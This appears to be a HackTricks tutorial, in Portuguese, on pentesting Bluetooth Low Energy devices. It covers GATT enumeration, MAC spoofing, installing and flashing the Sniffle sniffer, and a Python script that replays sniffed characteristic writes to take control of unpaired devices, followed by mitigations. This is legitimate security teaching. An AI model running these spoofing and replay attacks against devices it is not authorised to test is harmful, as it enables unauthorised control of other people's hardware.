Pentesting BLE - Bluetooth Low Energy

Reading time: 9 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Introdução

Disponível desde a especificação Bluetooth 4.0, o BLE usa apenas 40 canais, cobrindo a faixa de 2400 a 2483,5 MHz. Em contraste, o Bluetooth tradicional usa 79 canais na mesma faixa.

Os dispositivos BLE comunicam-se enviando advertising packets (beacons); esses pacotes anunciam a existência do dispositivo BLE para outros dispositivos próximos. Esses beacons às vezes também enviam dados.

O dispositivo que escuta, também chamado de dispositivo central, pode responder a um advertising packet com uma SCAN request enviada especificamente ao dispositivo anunciante. A resposta a esse scan usa a mesma estrutura do pacote advertising com informações adicionais que não couberam no advertising inicial, como o nome completo do dispositivo.

O byte de preâmbulo sincroniza a frequência, enquanto o endereço de acesso de quatro bytes é um identificador de conexão, usado em cenários onde múltiplos dispositivos tentam estabelecer conexões nos mesmos canais. Em seguida, a Protocol Data Unit (PDU) contém os advertising data. Existem vários tipos de PDU; os mais comumente usados são ADV_NONCONN_IND e ADV_IND. Dispositivos usam o tipo de PDU ADV_NONCONN_IND se eles não aceitam conexões, transmitindo dados apenas no pacote advertising. Dispositivos usam ADV_IND se eles permitem conexões e param de enviar advertising pacotes assim que uma conexão é estabelecida.

GATT

O Perfil Genérico de Atributos (GATT) define como o dispositivo deve formatar e transferir dados. Ao analisar a superfície de ataque de um dispositivo BLE, você frequentemente concentra sua atenção no GATT (ou GATTs), porque é assim que a funcionalidade do dispositivo é acionada e como os dados são armazenados, agrupados e modificados. O GATT lista as características, descritores e serviços de um dispositivo em uma tabela como valores de 16 ou 32 bits. Uma característica é um valor de dados enviado entre o dispositivo central e o periférico. Essas características podem ter descritores que fornecem informações adicionais sobre elas. As características são frequentemente agrupadas em serviços se estiverem relacionadas à execução de uma ação específica.

Enumeração

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool permite estabelecer uma conexão com outro dispositivo, listar as characteristics desse dispositivo e ler e escrever seus atributos.
GATTTool pode iniciar um interactive shell com a opção -I:

bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing e controle ativo de dispositivos BLE não pareados

Muitos periféricos BLE de baixo custo não fazem enforcement de pairing/bonding. Sem bonding, o Link Layer encryption nunca é habilitado, então o tráfego ATT/GATT fica em cleartext. Um sniffer off-path pode seguir a conexão, decodificar operações GATT para aprender characteristic handles e valores, e qualquer host próximo pode então conectar-se e replay those writes para controlar o dispositivo.

Sniffing with Sniffle (CC26x2/CC1352)

Hardware: um Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) regravado com o firmware Sniffle do NCC Group.

Instale o Sniffle e seu Wireshark extcap no Linux:

bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Flash Sonoff with Sniffle firmware (garanta que seu dispositivo serial corresponda, por exemplo /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Capture no Wireshark via o extcap Sniffle e pivot rapidamente para state-changing writes filtrando:

text
_ws.col.info contains "Sent Write Command"

Isto destaca ATT Write Commands do client; o handle e o value frequentemente mapeiam diretamente para ações do dispositivo (por exemplo, write 0x01 para uma buzzer/alert characteristic, 0x00 para parar).

Exemplos rápidos do Sniffle CLI:

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Sniffer alternativo: Nordic’s nRF Sniffer for BLE + Wireshark plugin também funciona. Em dongles Nordic pequenos/baratos você normalmente sobrescreve o USB bootloader para carregar o firmware do sniffer, então ou mantém um dongle sniffer dedicado ou precisa de um J-Link/JTAG para restaurar o bootloader depois.

Controle ativo via GATT

Depois de identificar um handle de characteristic gravável e o valor a partir do tráfego sniffado, conecte-se como qualquer central e execute a mesma escrita:

  • With Nordic nRF Connect for Desktop (BLE app):

  • Selecione o dongle nRF52/nRF52840, escaneie e conecte-se ao alvo.

  • Navegue na GATT database, localize a characteristic alvo (frequentemente tem um nome amigável, e.g., Alert Level).

  • Execute um Write com os bytes sniffados (e.g., 01 para acionar, 00 para parar).

  • Automatize no Windows com um dongle Nordic usando Python + blatann:

python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Notas operacionais e mitigações

  • Prefira Sonoff+Sniffle em Linux para salto de canais robusto e acompanhamento de conexões. Mantenha um sniffer Nordic sobressalente como backup.
  • Sem pairing/bonding, qualquer atacante nas proximidades pode observar escritas e reproduzir/criar as suas próprias em características graváveis não autenticadas.
  • Mitigações: exigir pairing/bonding e aplicar criptografia; definir permissões das características para exigir escritas autenticadas; minimizar características graváveis não autenticadas; validar GATT ACLs com Sniffle/nRF Connect.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks